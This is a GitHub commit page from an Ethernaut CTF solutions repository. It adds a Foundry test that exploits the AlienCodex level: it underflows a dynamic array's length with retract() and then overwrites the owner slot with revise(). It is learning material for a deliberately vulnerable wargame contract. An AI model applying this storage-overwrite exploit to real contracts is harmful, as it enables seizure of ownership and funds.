Skip to content

Commit

Permalink
fix: ethernaut lvl 19 solution
Browse files Browse the repository at this point in the history
  • Loading branch information
leovct committed Oct 2, 2024
1 parent c533067 commit a5142e5
Show file tree
Hide file tree
Showing 3 changed files with 109 additions and 68 deletions.
2 changes: 1 addition & 1 deletion docs/EthernautCTF.md
Original file line number Diff line number Diff line change
Expand Up @@ -20,7 +20,7 @@
| 16 | [Preservation](../src/EthernautCTF/Preservation.sol) (\*) || [PreservationExploit](../test/EthernautCTF/PreservationExploit.t.sol) | Make use of the `delegatecall` to overwrite the storage of the main contract. This time it involved a bit more creativity as it required to overwrite an address (20 bytes) using a uint256 (32 bytes). |
| 17 | [Recovery](../src/EthernautCTF/Recovery.sol) || [RecoveryExploit](../test/EthernautCTF/RecoveryExploit.t.sol) | The address of an Ethereum contract is deterministically computed from the address of its creator (sender) and its nonce (how many transactions the creator has sent). The sender and nonce are RLP-encoded and then hashed with keccak256. For a Solidity implementation, check the exploit code. |
| 18 | [MagicNumber](../src/EthernautCTF/MagicNumber.sol) || [MagicNumberExploit](../test/EthernautCTF/MagicNumberExploit.t.sol) | - Use raw bytecode to create the smallest possible contract.<br>- Learn about initialization code to be able to run any runtime code.<br>- Learn about `create` to create a contract from the initialization code. |
| 19 | [AlienCode](../src/EthernautCTF/AlienCodex.sol) | | [AlienCodeExploit](../test/EthernautCTF/AlienCodexExploit.t.sol.txt) | The challenge requires to use solidity version `^0.5.0` but unfortunately, the minimum version supported by [forge-std](https://github.com/foundry-rs/forge-std) is `0.6.2`. Thus, the solution of this challenge won't be part of this repository. |
| 19 | [AlienCode](../src/EthernautCTF/AlienCodex.sol) | | [AlienCodeExploit](../test/EthernautCTF/AlienCodexExploit.t.sol.txt) | Take advantage of an array underflow vulnerability in the contract, to allow the attacker to manipulate the contract's storage. |
| 20 | [Denial](../src/EthernautCTF/Denial.sol) || [DenialExploit](../test/EthernautCTF/DenialExploit.t.sol) | - Always set the amount of gas when using a low-level call. It will prevent the external contract to consume all the gas.<br>- Check the return value of low-level calls, especially when the address is controlled by someone else. |
| 21 | [Shop](../src/EthernautCTF/Shop.sol) || [ShopExploit](../test/EthernautCTF/ShopExploit.t.sol) | - When calling an external contract, always check the returned value before using it!<br>- This challenge is very similar to challenge 11. |
| 22 | [Dex](../src/EthernautCTF/Dex.sol) || [DexExploit](../test/EthernautCTF/DexExploit.t.sol) | The contract uses a division operation to compute the swap amount which can be exploited because of a precision loss. Indeed, Solidity does not support floating points. |
Expand Down
108 changes: 108 additions & 0 deletions test/EthernautCTF/AlienCodexExploit.t.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,108 @@
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;

import '@forge-std/Test.sol';
import '@forge-std/console2.sol';

contract AlienCodexExploit is Test {
address deployer = makeAddr('deployer');
address exploiter = makeAddr('exploiter');

function setUp() public {}

function testExploit() public {
// The AlienCodex contract requires solidity version ^0.5.0 but forge-std only supports >0.6.2.
// Here is a dirty hack to deploy the contract with a greater solidity version.
// Note: it should run in the same function as the exploit, not in the `setUp` function.
vm.startPrank(deployer);
bytes memory bytecode = abi.encodePacked(
vm.getCode('./out/AlienCodex.sol/AlienCodex.json')
);
address target;
assembly {
target := create(0, add(bytecode, 0x20), mload(bytecode))
}
console2.log('Target contract deployed');
vm.stopPrank();

// Check that the current owner is the deployer.
(bool success, bytes memory returnData) = address(target).call(
abi.encodeWithSignature('owner()')
);
assertTrue(success);
address owner;
if (returnData.length > 0) {
owner = address(
uint160(bytes20(uint160(uint256(bytes32(returnData)) << 0)))
);
//owner = abi.decode(returnData, (address));
}
assertEq(owner, deployer);
console2.log('Current owner: %s', owner);

// Perform the exploit.
// The AlienCodex contract inherits the storage of the Ownable contract.

// The Ownable contract has the following storage layout:
// - slot0: address private _owner

// The AlienCodex contract has thus the following storage layout:
// - slot0: address private _owner (Ownable storage) -> 20 bytes
// - slot0: bool public contact -> 1 byte
// - slot1: length of the bytes32[] public codex dynamic array
// - slot keccak256(1): first element of the array
// - slot keccak256(2): second element of the array
// ...

// Here is an example:
// - slot0: 0x7f1234567890123456789012345678901234567890000000000000000000000001
// with address private owner: 0x7f123456789012345678901234567890123456789.
// and bool public contact: 0x01 (padded with zeros).
// - slot1: 0x0000000000000000000000000000000000000000000000000000000000000003
// which represents the length of the array: 3
// - slot keccak256(slot_number) or slot keccak256(1)=0xa5f3...: 0x1111111111111111111111111111111111111111111111111111111111111111 (random 32-byte value)
// - slot keccak256(1)+1: 0x2222222222222222222222222222222222222222222222222222222222222222
// - slot keccak256(1)+2: 0x3333333333333333333333333333333333333333333333333333333333333333

// The goal is to use the `retract` method to reduce the size of the dynamic
// array to modify the slot0 value (owner).
vm.startPrank(exploiter);
// Make contact to be able to pass the `contacted` modifier.
(success, ) = address(target).call(
abi.encodeWithSignature('makeContact()')
);
assertTrue(success);

// The codex array is empty, thus codex.length is equal to zero.
// Since we are using solidity ^0.5.0, we can trigger an underflow by substracting one from zero.
(success, ) = address(target).call(abi.encodeWithSignature('retract()')); // codex.length is now equal to 2^256 - 1.
assertTrue(success);

// The codex dynamic array can now be used to access any variables stored in the contract.
// codex[0] refers to slot keccak256(1)
// codex[1] refers to slot keccak256(1)+1
// codex[2^256 - 1 - uint(keccak256(1))] refers to slot 2^256 - 1
// codex[2^256 - 1 - uint(keccak256(1)) + 1] refers to slot 0
uint256 index = ((2 ** 256) - 1) - uint(keccak256(abi.encode(1))) + 1;
(success, ) = address(target).call(
abi.encodeWithSignature(
'revise(uint256,bytes32)',
index,
bytes32(uint256(uint160(exploiter)))
)
);
assertTrue(success);
vm.stopPrank();

// Check that the new owner is the exploiter.
(success, returnData) = address(target).call(
abi.encodeWithSignature('owner()')
);
assertTrue(success);
if (returnData.length > 0) {
owner = abi.decode(returnData, (address));
}
assertEq(owner, exploiter);
console2.log('New owner: %s', owner);
}
}
67 changes: 0 additions & 67 deletions test/EthernautCTF/AlienCodexExploit.t.sol.txt

This file was deleted.

0 comments on commit a5142e5

Please sign in to comment.